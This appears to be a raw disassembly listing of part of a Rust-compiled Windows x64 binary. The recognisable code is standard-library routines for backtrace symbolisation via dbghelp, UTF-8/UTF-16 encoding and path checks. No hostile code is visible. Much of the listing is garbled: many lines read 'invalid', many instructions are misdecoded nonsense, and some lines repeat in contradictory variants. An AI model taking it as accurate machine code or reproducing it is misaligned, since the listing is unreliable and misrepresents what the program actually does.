invalid
mov r9, qword [rsp + 0x28]
jmp 0x14007eb0d
sub bl, ch
adc eax, 0x6b941
add byte [rax], al
mov r9d, 6
jmp 0x14007eb0d
cmp r9, r11
ja case.default.0x14007eb24
lea rdx, [0x1400f05e4]
movsxd r10, dword [rdx + r8*4]
add r10, rdx
jmp r10
mov rax, qword [rsp + 0x28]
jmp case.0x14007eb24.0
mov eax, 6
jmp case.0x14007eb24.0
mov rax, qword [rsp + 0x30]
jmp case.0x14007eb24.0
mov eax, 2
mov rdx, r11
sub rdx, rax
jb 0x14007ebb5
add rax, rsi
mov qword [rdi], rax
mov qword [rdi + 8], rdx
mov rax, qword [rdi + 0x30]
mov qword [rcx + 0x20], rax
movups xmm0, xmmword [rdi + 0x11]
movups xmm1, xmmword [rdi + 0x21]
movups xmmword [rcx + 0x11], xmm1
movups xmmword [rcx + 1], xmm0
mov byte [rcx], r8b
mov qword [rcx + 0x28], rsi
mov qword [rcx + 0x30], r9
xor cl, ch
cmp bh, bh
invalid
invalid
xor cl, ch
cmp bh, bh
invalid
lea r8, str.library_std_srcpath.rs
mov ecx, 1
xor edx, edx
call fcn.1400a9cf0
ud2
lea r8, str.library_std_srcpath.rs
mov rcx, r9
mov rdx, r11
invalid
invalid
call fcn.1400a9df0
ud2
lea r8, str.library_std_srcpath.rs
mov rcx, rax
mov rdx, r11
call fcn.1400a9cf0
ud2
lea r8, str.library_std_srcpath.rs
mov ecx, 1
xor edx, edx
call fcn.1400a9cf0
ud2
mov rdi, rdx
mov rsi, rcx
movzx ecx, byte [rcx]
lea eax, [rcx - 6]
movzx r8d, al
lea rdx, [r8 + 1]
xor eax, eax
cmp r8b, 4
cmovae rdx, rax
rol byte [r15 + r9 - 0x4a], 1
invalid
lea r9d, [r8 - 6]
movzx r10d, r9b
lea r11, [r10 + 1]
cmp r10b, 4
cmp dl, 4
rol byte [r15 + r9 - 0x4a], 1
invalid
cmp dl, 4
cmovae r11, rax
cmp rdx, r11
fidiv dword [rbp + 0x76]
fidiv dword [rbp + 0x76]
mov al, 1
test rdx, rdx
je 0x14007ec4b
cmp edx, 4
jne 0x14007ec97
mov r8, qword [rsi + 0x10]
cmp r8, qword [rdi + 0x10]
jne case.default.0x14007ec64
mov rdx, qword [rdi + 8]
mov rcx, qword [rsi + 8]
or byte [rax - 0x75], cl
or al, r13b
lodsd eax, dword [rsi]
jns 0x14007ec45
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
sete al
add byte [rbp - 0x3f6bf040], al
ror byte [rdi], 0x94
shr bl, 0x4c
jmp 0x14007ec97
cmp r9b, 4
jb 0x14007ec97
add al, 0x72
cmp cl, r8b
cmp cl, r8b
jne case.default.0x14007ec64
lea rax, [0x1400f05fc]
movsxd rcx, dword [rax + rcx*4]
add rcx, rax
jmp rcx
mov r8, qword [rsi + 0x10]
cmp r8, qword [rdi + 0x10]
jne case.default.0x14007ec64
mov rdx, qword [rdi + 8]
mov rcx, qword [rsi + 8]
call sub.VCRUNTIME140.dll_memcmp
test eax, eax
jne case.default.0x14007ec64
mov r8, qword [rsi + 0x20]
cmp r8, qword [rdi + 0x20]
cmp eax, dword [rdi + 0x20]
cmp eax, dword [rdi + 0x20]
jne case.default.0x14007ec64
mov rdx, qword [rdi + 0x18]
mov rcx, qword [rsi + 0x18]
jmp 0x14007ec3f
xor eax, eax
add rsp, 0x28
pop rdi
pop rsi
ret
movzx eax, byte [rsi + 1]
cmp al, byte [rdi + 1]
sete al
jmp 0x14007ec97
invalid
lea r8, str.library_std_srcpath.rs
mov rcx, r15
mov rdx, rdi
call fcn.1400a9df0
ud2
mov edx, edi
call fcn.1400a9cf0
ud2
add eax, 0x75c98545
adc eax, 0x3a51b60f
cmp r8b, 0xff
je 0x14007eeda
test r9d, r9d
jne 0x14007eee0
invalid
invalid
test dl, dl
je 0x14007ef13
mov dl, 1
xor r8d, r8d
xor eax, eax
test al, al
jne case.default.0x14007ef07
add byte [rax], al
invalid
add byte [rax], al
add byte [rdi], cl
mov dh, 0x41
adc byte [rax - 0x7d], cl
movzx eax, byte [rcx + 0x10]
cmp rax, 6
clc
invalid
je case.default.0x14007ef07
clc
invalid
lea r9, [0x1400f0614]
movsxd rax, dword [r9 + rax*4]
invalid
add rax, r9
jmp rax
mov rax, qword [rcx + 0x20]
add rax, 4
jmp 0x14007ef87
movzx r10d, byte [rcx + 0x10]
lea edx, [r10 - 5]
lea edx, [rdx - 5]
lea edx, [rdx - 5]
cmp dl, 1
ja 0x14007ef78
push rdi
push rdi
mov r8, qword [rcx]
mov rdx, qword [rcx + 8]
xor r9d, r9d
test al, al
jne 0x14007ef45
cmp r10b, 6
je 0x14007ef45
mov r9d, 2
cmp rdx, 2
cmp edx, 2
cmp edx, 2
jb 0x14007effe
cmp r9, rdx
je 0x14007ef78
add rdx, r8
lea r10, [r8 + r9]
inc r10
cmp r10, rdx
sete dl
xchg esp, eax
ret 0xf47
mov dh, 4
or dh, dh
ret 0x7501
invalid
xchg esp, eax
ret 0xf47
cmp r8b, 0x2e
cmp al, 0x2e
jne 0x14007efdb
movzx edx, byte [r10]
cmp edx, 0x2f
je 0x14007efed
cmp edx, 0x5c
je 0x14007efed
xor edx, edx
xor r8d, r8d
test al, al
je 0x14007eeeb
invalid
invalid
invalid
invalid
invalid
xor eax, eax
add r8, rax
add eax, eax
movzx eax, dl
add rax, r8
add rsp, 0x28
ret
mov rax, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x30]
lea r9, [rcx + 1]
add dword [rax - 0x7b], ecx
leave
add dword [rax - 0x7b], ecx
leave
cmove r9, rcx
add rax, r9
add rax, 8
jmp 0x14007ef87
mov eax, 6
jmp 0x14007ef87
mov rax, qword [rcx + 0x20]
mov rcx, qword [rcx + 0x30]
lea r9, [rcx + 1]
test rcx, rcx
cmove r9, rcx
add rax, r9
add rax, 2
jmp 0x14007ef87
mov eax, 2
jmp 0x14007ef87
cmp r8b, 0x2e
setne r8b
not dl
or dl, r8b
test dl, 1
jne 0x14007ef78
mov r8d, 1
xor edx, edx
test al, al
jne case.default.0x14007ef07
jmp 0x14007eeeb
lea r8, str.library_std_srcpath.rs
mov ecx, 2
call fcn.1400a9cf0
ud2
test al, 0
add byte [rax], al
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0x60], rax
lea rax, str.encode_utf8:_need__bytes_to_encode_U__but_the_buffer_has
mov qword [rsp + 0x70], rax
mov qword [rsp + 0x78], 3
and al, 0x78
add eax, dword [rax]
add byte [rax], al
and al, 0x78
add eax, dword [rax]
add byte [rax], al
mov qword [rsp + 0x90], 0
lea rax, [rsp + 0x38]
mov qword [rsp + 0x80], rax
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x88], 3
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srccharmethods.rsx
lea rcx, [rsp + 0x70]
call fcn.1400a9cb0
leave
movsb byte [rdi], byte [rsi]
add al, byte [rax]
ud2
xor ecx, ecx
cmp ebp, 1
add dword [rdi], ecx
test dl, cl
add byte [rax], al
invalid
add dword [rdi], ecx
test dl, cl
add byte [rax], al
add byte [rax - 0x75], cl
add eax, 0x799f8
mov rax, qword [0x1400f9268]
test rax, rax
jne case.0x140075b85.1338
mov rcx, qword [0x1400f9238]
lea rdx, str.SymAddrIncludeInlineTrace
call qword [sym.imp.kernel32.dll_GetProcAddress]
adc eax, 0x30a8f
adc eax, 0x30a8f
test rax, rax
je case.0x1400689bc.993
mov qword [0x1400f9268], rax
iretd
mov rcx, rsi
mov rdx, rdi
call rax
mov dword [rsp + 0xc0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rax], al
test eax, eax
je 0x14007fe5e
mov ebp, eax
mov rax, qword [0x1400f9270]
mov eax, dword [0x1400f9270]
mov eax, dword [0x1400f9270]
test rax, rax
jne 0x14007f8e6
mov rcx, qword [0x1400f9238]
mov ecx, dword [0x1400f9238]
lea rdx, str.SymQueryInlineTrace
call qword [sym.imp.kernel32.dll_GetProcAddress]
add eax, dword [rax]
add eax, dword [rax]
test rax, rax
je case.0x1400689bc.993
add byte [rax], al
mov qword [0x1400f9270], rax
add bh, al
test byte [rax + rcx*8], ah
enter 1, 0
add byte [rax], al
add byte [rax], al
invalid
invalid
mov word [rax + rcx*8], fs
mov dword [rsp + 0x1c8], 0
lea rcx, [rsp + 0x1c8]
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rsp + 0x30], ecx
add dword [rax], eax
add byte [rax - 0x77], cl
mov dword [rsp + 0x30], ecx
lea rcx, [rsp + 0xc0]
mov qword [rsp + 0x28], rcx
mov dword [rsp + 0x28], ecx
mov dword [rsp + 0x28], ecx
mov qword [rsp + 0x20], rdi
xor ebx, ebx
mov rcx, rsi
mov rdx, rdi
xor r8d, r8d
mov r9, rdi
mov ecx, edi
call rax
mov ecx, 0
cmp eax, 1
jne 0x14007f933
invalid
or dword [rbx + 0xc0249c], ecx
add byte [rax], al
mov ebx, dword [rsp + 0xc0]
mov ecx, ebp
lea ebp, [rcx + rbx]
inc ebp
cmp ebx, ebp
jae case.0x14002f3a6.1099
lea r14, [rsp + 0x1cc]
lea r15, [rsp + 0x1c8]
and al, 0xc8
add dword [rax], eax
add byte [rbp + rcx*4 - 0x54], cl
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
push rdi
test byte [rbp + rcx*4 + 0x64], 0x24
lea esp, [rsp + 0x48]
and al, 0xc8
add dword [rax], eax
add byte [rbp + rcx*4 - 0x54], cl
and al, 0xc0
add byte [rax], al
add byte [rdi], cl
push rdi
test byte [rbp + rcx*4 + 0x64], 0x24
lea esp, [rsp + 0x48]
mov dword [rsp + 0x38], ebp
lea esp, [rsp + 0x48]
mov dword [rsp + 0x38], ebp
jmp 0x14007f9de
add byte [rax], al
add byte [rax - 0x75], cl
mov eax, dword [rsp + 0x200]
mov qword [rsp + 0x48], r14
mov dword [rsp + 0x48], esi
mov rax, qword [rsp + 0x200]
mov qword [rsp + 0x48], r14
mov dword [rsp + 0x48], esi
mov dword [rsp + 0x48], esi
mov qword [rsp + 0x50], rdx
mov qword [rsp + 0x58], r8
mov dword [rsp + 0x60], r9d
and al, 0x60
and al, 0x60
mov dword [rsp + 0x64], ecx
lea rcx, [rsp + 0xc0]
and al, 0xc0
add byte [rax], al
add byte [rax - 0x77], cl
and al, 0x68
and al, 0x68
and al, 0x68
mov qword [rsp + 0x70], r13
mov r13, rcx
int 0x48
mov dword [rsp + 0x78], eax
and al, 0x78
and al, 0x78
mov rcx, qword [rsp + 0x1240]
mov rdx, r12
mov word [rax + rax*2], fs
adc al, byte [rax]
add byte [rcx + rcx*4 - 0x1e], cl
mov rax, qword [rsp + 0x1248]
call qword [rax + 0x20]
mov ebp, dword [rsp + 0x38]
lea r14, [rsp + 0x1cc]
lea r15, [rsp + 0x1c8]
mov esp, 0x1c824
invalid
mov esp, 0x1c824
add bh, bh
ret
inc ebx
cmp ebx, ebp
jmp 0x14007f9e8
invalid
xchg ecx, eax
add al, 0
invalid
xchg ecx, eax
add al, 0
add byte [rcx - 0x48], al
invalid
hlt
mov r8d, 0xff4
mov eax, 0xff4
mov rcx, r14
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov dword [rsp + 0x218], 0x7d0
and al, 0x18
add al, byte [rax]
add byte [rax], al
rol byte [rdi], 1
add byte [rax], al
and al, 0x18
add al, byte [rax]
add byte [rax], al
rol byte [rdi], 1
add byte [rax], al
mov dword [rsp + 0x1c8], 0x58
mov rax, qword [0x1400f9258]
add byte [rax], al
add byte [rax - 0x75], cl
add eax, 0x7984d
test rax, rax
jne case.0x1400281ec.1318
invalid
mov rcx, qword [0x1400f9238]
or eax, 0x79821
cwde
invalid
lea rdx, str.SymFromInlineContextW
call qword [sym.imp.kernel32.dll_GetProcAddress]
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
invalid
add byte [rax], al
add byte [rax - 0x7b], cl
ror byte [rdi], 0x84
invalid
mov qword [0x1400f9258], rax
mov qword [rsp + 0xc0], 0
add byte [rax], al
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x20], r15
mov rcx, rsi
mov rdx, rdi
mov r8d, ebx
mov r9, r13
call rax
cmp eax, 1
invalid
jne 0x14007f9d4
test dword [rax - 1], edi
invalid
mov r15, r12
mov eax, dword [rsp + 0x214]
mov ecx, dword [rsp + 0x218]
mov word [rax + rbx], fs
add al, byte [rax]
invalid
out 0x8b, eax
test byte [rsp + rdx], ah
add al, byte [rax]
add byte [rbx + 0x218248c], cl
mov word [rax + rbx], fs
add al, byte [rax]
invalid
mov word [rax + rbx], fs
add al, byte [rax]
add byte [rax - 1], cl
dec rcx
leave
cmp rax, rcx
cmovb rcx, rax
cmovb ecx, eax
cmovb ecx, eax
enter 0x290f, 0xffffffffffffffb4
and al, 0xb0
add dword [rax], eax
add byte [rdi], cl
movaps xmmword [rsp + 0x1b0], xmm6
movaps xmmword [rsp + 0x1a0], xmm6
sub dword [rsp + 0x1a0], esi
sub dword [rsp + 0x1a0], esi
movabs al, byte [0x9024b4290f000001]
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x180], esi
mov ah, 0x24
add byte [rcx], 0
invalid
movaps xmmword [rsp + 0x190], xmm6
movaps xmmword [rsp + 0x180], xmm6
mov ah, 0x24
add byte [rcx], 0
invalid
mov ah, 0x24
add byte [rcx], 0
add byte [rdi], cl
sub dword [rsp + 0x170], esi
movaps xmmword [rsp + 0x170], xmm6
movaps xmmword [rsp + 0x160], xmm6
movaps xmmword [rsp + 0x150], xmm6
and al, 0x50
add dword [rax], eax
add byte [rax], al
and al, 0x60
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x150], esi
and al, 0x50
add dword [rax], eax
add byte [rax], al
and al, 0x50
add dword [rax], eax
invalid
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0x140], esi
add dword [rax], eax
invalid
movaps xmmword [rsp + 0x140], xmm6
add dword [rax], eax
add byte [rdi], cl
sub dword [rsp + 0x130], esi
xor byte [rcx], al
add byte [rax], al
movaps xmmword [rsp + 0x130], xmm6
xor byte [rcx], al
add byte [rax], al
movaps xmmword [rsp + 0x120], xmm6
movaps xmmword [rsp + 0x110], xmm6
mov ah, 0x24
adc byte [rcx], al
add byte [rax], al
mov ah, 0x24
adc byte [rcx], al
add byte [rax], al
movaps xmmword [rsp + 0x100], xmm6
sub dword [rsp + 0x100], esi
movaps xmmword [rsp + 0xf0], xmm6
movaps xmmword [rsp + 0xe0], xmm6
mov ah, 0x24
loopne case.0x1400281ec.1330
add byte [rax], al
mov ah, 0x24
loopne case.0x1400281ec.1330
add byte [rax], al
movaps xmmword [rsp + 0xd0], xmm6
movaps xmmword [rsp + 0xc0], xmm6
and al, 0xc0
add byte [rax], al
add byte [rbp + rcx*4 - 0x74], cl
and al, 0x1c
add al, byte [rax]
add byte [rcx - 0x73], cl
add al, 0x49
and al, 0xc0
add byte [rax], al
add byte [rbp + rcx*4 - 0x74], cl
and al, 0x1c
add al, byte [rax]
add byte [rcx - 0x73], cl
add al, 0x49
mov r14d, 0x100
xor r11d, r11d
xor ebx, ebx
xor ebx, ebx
mov r8, r13
call 0x1a6f52c58
test r11d, r11d
test ebx, ebx
xor r13d, r13d
test r11w, r11w
test ebx, ebx
test ebx, ebx
je case.0x140028086.1121
nop dword [rax + rax]
add byte [rcx + rcx*4 - 0x2e], al
mov edx, r10d
jmp case.0x140028086.1122
nop word cs:[rax + rax]
nop word cs:[rax + rax]
cmp r9, rax
cmp ecx, eax
je case.0x140032048.1065
add al, byte [rax]
add byte [rcx + 0xf], al
mov bh, 0x11
movzx edx, word [r9]
add r9, 2
mov ecx, edx
rol dword [rcx + 0xf800e1], 1
add byte [rdi + rcx - 0x49], al
fiadd dword [rcx + 0xd800f9]
and ecx, 0xf800
add byte [rax], al
movzx r11d, dx
cmp ecx, 0xd800
invalid
add byte [rbp + 0x1b], dh
jne 0x14007fb70
mov ecx, 0xfffd
add byte [rax], al
cmp r11d, 0xdbff
jbe 0x14007fba0
invalid
add byte [rsi + 0x3d], dh
xor r11d, r11d
xor ebx, ebx
jmp 0x14007fc50
add byte [rax], al
nop dword [rax + rax]
invalid
add byte [rcx - 0x3f], cl
jrcxz 0x14007fb84
shl r11, 0x10
mov rcx, r11
mov ecx, ebx
shr rcx, 0x10
cmp ecx, 0x80
add byte [rax], al
add byte [rdi], cl
or dword [rcx + 0x41000000], 0xffffffbc
add byte [rcx - 0x44], al
jae 0x14007fc10
add byte [rax], al
add byte [rcx - 0x44], al
mov r12d, 1
add dword [rax], eax
add byte [rax], al
xor r11d, r11d
jmp 0x14007fc56
rol dword [rax], 0
invalid
rol dword [rax], 0
add byte [rsi + 0x66], ah
nop dword cs:[rax + rax]
cmp r9, rax
je 0x14007fbd0
sal dword [rbx + rbp + 0x45], 0xf
mov bh, 0x21
invalid
movzx r12d, word [r9]
and dword [rcx - 0x7d], ecx
rol dword [rdx], 0x45
mov ebx, esp
add r9, 2
mov r11d, r12d
add r11d, 0x2000
add byte [rax], ah
add byte [rax], al
movzx ebp, r11w
mov bh, 0xeb
mov r11w, 1
cmp ebp, 0xfc00
add byte [rax], al
add byte [rax], al
add byte [rbx + 0x10], dh
jae 0x14007fbd8
mov r10d, r12d
jmp 0x14007fc50
loop 0x14007fbb5
add byte [rax], 0
add byte [rbp + 0x31], al
fisttp dword [rcx - 0x77]
xor r11d, r11d
mov r9, rax
invalid
shr ebx, 0x78
jmp 0x14007fc50
movzx ecx, r12w
and edx, 0x3ff
and ecx, 0x3ff
add byte [rax], al
int3
add byte [rax], al
add byte [rax - 0x3f], cl
loop 0x14007fc06
shl rdx, 0x1a
shl rcx, 0x10
or rcx, rdx
movabs rdx, 0x100000000
add byte [rax], al
add byte [rcx], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add dword [rax], eax
add byte [rax], al
invalid
add byte [rcx], al
add byte [rax], al
add byte [rax + 1], cl
add rcx, rdx
shr rcx, 0x10
invalid
stc
invalid
add rcx, rdx
shr rcx, 0x10
cmp ecx, 0x80
add byte [rax], al
add byte [rax], 0
add byte [rax], al
add byte [rdi], cl
jb 0x14007fb87
invalid
invalid
cmp ecx, 0x800
jae case.0x1400279e4.1191
mov r12d, 2
mov esp, 2
add al, byte [rax]
add byte [rax], al
xor r11d, r11d
xor ebx, ebx
jmp 0x14007fc56
nop word cs:[rax + rax]
add byte [rax], al
add byte [rax], al
add byte [rcx - 0x44], al
invalid
invalid
mov r12d, 4
add al, 0
add byte [rax], al
xor r11d, r11d
cmp ecx, 0xffff
inc dword [rax]
add byte [rdi + 0x15], dh
inc dword [rax]
add byte [rdi + 0x15], dh
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
add byte [rax], al
add byte [rcx - 0x44], al
mov r12d, 3
add eax, dword [rax]
add byte [rax], al
mov rdx, r14
sub rdx, r12
invalid
sub rdx, r12
loop case.0x14002f3a6.1067
jbe case.0x140032048.1065
xchg byte [rsi], bl
add dword [rax], eax
add byte [rcx - 0x7ec3dbb4], cl
and al, 0x3c
invalid
stc
add byte [rax], 0
add byte [rax], al
invalid
mov dword [rsp + 0x3c], ecx
and al, 0x3c
cmp ecx, 0x80
add byte [rax], al
add byte [rbx + 0x12], dh
jae case.0x1400271cf.1171
mov byte [r8], cl
mov byte [rax], cl
mov ecx, 1
jmp 0x14007fd50
invalid
add byte [rdi], cl
invalid
add byte [rax], r8b
add byte [rcx + 0x800f9], al
add byte [rbx + 0x28], dh
cmp ecx, 0x800
jae case.0x14002f3a6.1071
mov ebp, ecx
shr ebp, 6
in eax, dx
invalid
in eax, dx
invalid
or bpl, 0xc0
or ch, 0xc0
mov byte [r8], bpl
and cl, 0x3f
or cl, 0x80
mov byte [r8 + 1], cl
mov byte [rax + 1], cl
mov byte [rax + 1], cl
add qword [rcx + 2], rdi
mov ecx, 2
add al, byte [rax]
add byte [rax], al
invalid
add cl, ch
test al, 0
add byte [rax], al
jmp 0x14007fd50
nop dword [rax + rax]
invalid
add byte [rax], al
add byte [rcx + 0x10000f9], al
invalid
stc
add byte [rax], al
add byte [rcx], al
cmp ecx, 0x10000
jae case.0x1400271cf.1179
invalid
add byte [rcx], al
add byte [rbx + 0x41], dh
mov qword [rsp + 0x40], 3
mov qword [rsp + 0x40], 3
and al, 0x40
add eax, dword [rax]
add byte [rax], al
invalid
add byte [rax], al
add byte [rcx - 0x7d], cl
cmp r14, 2
cmp r14, 2
jbe 0x14007fe9c
add dword [rax], eax
add byte [rcx + 0xcedc1cd], cl
mov ebp, ecx
shr ebp, 0xc
invalid
or al, 0x40
or ch, 0xe0
int 0xe0
or bpl, 0xe0
int 0xe0
loopne 0x14007fd16
mov byte [r8], bpl
mov byte [rax], ch
mov ebp, ecx
shr ebp, 6
invalid
and bpl, 0x3f
and ch, 0x3f
int 0xc1
in eax, dx
invalid
and ch, 0x3f
or bpl, 0x80
or ch, 0x80
add byte [rcx - 0x78], 0x68
add dword [rax - 0x367fc01f], eax
invalid
leave
mov byte [r8 + 1], bpl
and cl, 0x3f
or cl, 0x80
mov byte [r8 + 2], cl
add bh, byte [rcx + 3]
add byte [rcx - 0x78], 0x48
add bh, byte [rcx + 3]
add byte [rax], al
add bl, ch
push rdi
jmp 0x14007fd50
mov qword [rsp + 0x40], 4
cmp r14, 3
jbe 0x14007fe9c
invalid
nop
add dword [rax], eax
invalid
add ecx, dword [rdi]
xchg byte [rax - 0x76ffffff], dl
int 0xc1
shr ebp, 0x12
invalid
invalid
mov ebp, ecx
shr ebp, 0x12
or bpl, 0xf0
int 0xf0
mov byte [r8], bpl
mov byte [rax], ch
mov ebp, ecx
shr ebp, 0xc
and bpl, 0x3f
in eax, 0x3f
or bpl, 0x80
or ch, 0x80
int 0x80
mov byte [r8 + 1], bpl
mov ebp, ecx
shr ebp, 6
and bpl, 0x3f
and ch, 0x3f
and ch, 0x3f
invalid
or bpl, 0x80
or ch, 0x80
mov byte [r8 + 2], bpl
and cl, 0x3f
or cl, 0x80
mov byte [r8 + 3], cl
mov byte [rax + 3], cl
mov ecx, 4
nop dword [rax]
add byte [rax], 0
add byte [rax], al
add byte [rax], 0
add byte [rax], al
cmp rcx, r14
ja 0x14007fe8b
xor al, byte [rcx]
add byte [rax], al
add r8, r12
add r13, r12
in eax, 0x49
mov esi, edx
test r11w, r11w
jne case.0x1400271cf.1150
test dword [rbp + rdi*8 - 0x40160001], esi
jmp case.0x140028086.1121
std
invalid
nop word cs:[rax + rax]
nop word cs:[rax + rax]
nop dword cs:[rax + rax]
cmp r13, 0x101
add dword [rcx], eax
add byte [rax], al
add dword [rax], eax
add byte [rdi], cl
jae 0x14007ff4d
add eax, 1
add byte [rax], al
movaps xmmword [rsp + 0x80], xmm6
movaps xmmword [rsp + 0x90], xmm6
nop
add byte [rax], al
invalid
add byte [rax], 0
add byte [rdi], cl
sub dword [rsp + 0x90], esi
nop
add byte [rax], al
invalid
nop
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
mov qword [rsp + 0xa0], 0
add byte [rax], al
add byte [rax], al
invalid
add byte [rax], al
add byte [rax], al
add byte [rax], al
add bh, al
mov dword [rsp + 0x80], 0x28
mov rax, qword [0x1400f9260]
add eax, 0x794a5
test byte [rax + rax*4], ah
add byte [rax], al
add byte [rax], ch
add byte [rax], al
add byte [rax - 0x75], cl
add eax, 0x794a5
test rax, rax
mov r12, r15
jne 0x14007fde7
mov rcx, qword [0x1400f9238]
xchg esp, eax
invalid
lea rdx, str.SymGetLineFromInlineContextW
adc eax, 0x6afe4
call qword [sym.imp.kernel32.dll_GetProcAddress]
add eax, 0x85480003
ror byte [rdi], 0x84
push rbx
test rax, rax
je case.0x1400689bc.993
add dword [rax], eax
invalid
add dword [rax], eax
add byte [rax - 0x77], cl
add eax, 0x79479
xchg esp, eax
invalid
invalid
mov qword [0x1400f9260], rax
xchg esp, eax
invalid
mov dword [rsp + 0x48], 0
add byte [rax - 0x73], cl
mov word [rax + rax*4], fs
add byte [rax], al
add byte [rax], al
mov qword [rsp + 0x28], rcx
lea rcx, [rsp + 0x80]
add byte [rax], al
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], r12
and al, 0x20
xor r14d, r14d
mov rcx, rsi
int1
int1
mov rdx, rdi
mov r8d, ebx
xor r9d, r9d
call rax
mov r9d, 0
invalid
cmp eax, 1
clc
invalid
add byte [rbx - 0x7af0fe08], al
sti
jne 0x14007f970
invalid
mov ecx, dword [rsp + 0x90]
mov r8, 0xffffffffffffffff
mov eax, 0xffffffff
mov rdx, qword [rsp + 0x98]
nop word [rax + rax]
invalid
cmp word [rdx + r8*2 + 2], 0
add al, byte [rax]
lea r8, [r8 + 1]
add dword [rbp - 0xd], esi
jne 0x14007fe40
mov r9d, 1
mov r14d, 1
jmp 0x14007f970
sti
invalid
xor ebx, ebx
xor ecx, ecx
leave
leave
lea ebp, [rcx + rbx]
inc ebp
cmp ebx, ebp
jb 0x14007f940
cli
invalid
invalid
cli
invalid
movaps xmm6, xmmword [rsp + 0x11c0]
add rsp, 0x11d8
add byte [rbx + 0x5d], bl
add byte [rbx + 0x5d], bl
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
pop rdi
pop rdi
ret
lea r8, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srccharmethods.rsx
mov rdx, r14
call fcn.1400a9df0
ud2
mov qword [rsp + 0xb8], r14
lea rax, [rsp + 0x40]
mov qword [rsp + 0x48], rax
and al, 0x48
and al, 0x48
and al, 0x48
lea rax, [fcn.1400415d0]
mov qword [rsp + 0x50], rax
push rax
lea rcx, [rsp + 0x3c]
and al, 0x3c
mov qword [rsp + 0x58], rcx
lea rcx, [0x140049b60]
mov qword [rsp + 0x60], rcx
and al, 0x60
and al, 0x60
and al, 0x60
lea rcx, [rsp + 0xb8]
mov qword [rsp + 0x68], rcx
mov qword [rsp + 0x70], rax
mov dword [rsp + 0x70], eax
mov dword [rsp + 0x70], eax
lea rax, str.encode_utf8:_need__bytes_to_encode_U__but_the_buffer_has
mov qword [rsp + 0x80], rax
add byte [rax], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + rcx*4], ah
add byte [rax], al
add byte [rbx], al
add byte [rax], al
add byte [rax - 0x39], cl
test byte [rax + riz*4], ah
and al, 0xa0
mov qword [rsp + 0x88], 3
mov qword [rsp + 0xa0], 0
and al, 0xa0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x90
add byte [rax], al
invalid
and al, 0xa0
add byte [rax], al
add byte [rax], al
add byte [rax], al
add byte [rcx + rcx*4 - 0x44], cl
and al, 0x90
add byte [rax], al
add byte [rax - 0x39], cl
mov qword [rsp + 0x98], 3
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srccharmethods.rsx
mov qword [rsp + 0x98], 3
mov dword [rsp + 0x98], 3
lea rdx, str._rustc_82e1608dfa6e0b5569232559e3d385fea5a93112librarycore_srccharmethods.rsx
invalid
lea rcx, [rsp + 0x80]
call fcn.1400a9cb0
popfq
add al, byte [rax]
popfq
add al, byte [rax]
ud2
lea rcx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea ecx, str.called__Option::unwrap____on_a__None__valueC:Userswilliamcanin.cargo_registry_srcindex.crates.io_6f17d22bba15001fwinapi_util_0.1.6_srcwin.rs
lea r8, str.library_std_src...._backtrace_srcdbghelp.rs
mov edx, 0x2b
add byte [rax], al
add byte [rax], al
call fcn.1400a9e70
ud2
lea r8, str.library_std_src...._backtrace_src_symbolizedbghelp.rs
mov edx, 0x100
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
add dword [rax], eax
add byte [rcx + rcx*4 - 0x17], cl
mov rcx, r13
call fcn.1400a9df0
ud2
int3
push r13
push r12
push rsi
push rdi
push rbx
sub rsp, 0x4a8
lea rbp, [rsp + 0x80]
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esp
add al, 0
add dh, bh
invalid
invalid
dec dword [rax - 0x77]
invalid
lea rcx, [rbp - 0x58]
call fcn.14007be20
dec dword [rax - 0x75]
test al, 0x48
mov dword [rbp + 0x410], eax
lodsb al, byte [rsi]
and al, 0x80
add byte [rax], al
add byte [rax - 0x39], cl
test dword [rax], esp
add al, 0
add dh, bh
invalid
dec dword [rax - 0x75]
test al, 0x48
mov dword [rbp + 0x410], eax
test rax, rax
je 0x1400800f7
ror byte [rdi], 0x84
add dword [r8], eax
add byte [rax - 0x77], cl
mov ch, 0xc8
add eax, dword [rax]
add byte [rax - 0x75], cl
mov rax, qword [rbp - 0x50]
mov qword [rbp + 0x408], rax
mov qword [rbp + 0x3c8], rsi
mov rax, qword [rbp - 0x50]
mov qword [rbp + 0x408], rax
mov qword [rbp + 0x3f0], 2
mov dword [rbp + 0x3f0], 2
lock add eax, dword [rax]
add byte [rdx], al
add byte [rax], al
add byte [rdi], cl
push rdi
ror byte [rdi], 0x11
test eax, edi
clc
xorps xmm0, xmm0
movups xmmword [rbp + 0x3f8], xmm0
clc
add eax, dword [rax]
add byte [rcx - 0x48], al
add byte [rdx], al
add byte [rax], al
clc
add eax, dword [rax]
add byte [rcx - 0x48], al
add byte [rdx], al
add byte [rax], al
mov eax, 2
mov qword [rbp + 0x418], rax
xor edi, edi
xor ebx, ebx
xor r12d, r12d
in al, 0x49
cmp eax, 0x201
add byte [rax], al
add byte [rax - 0x77], cl
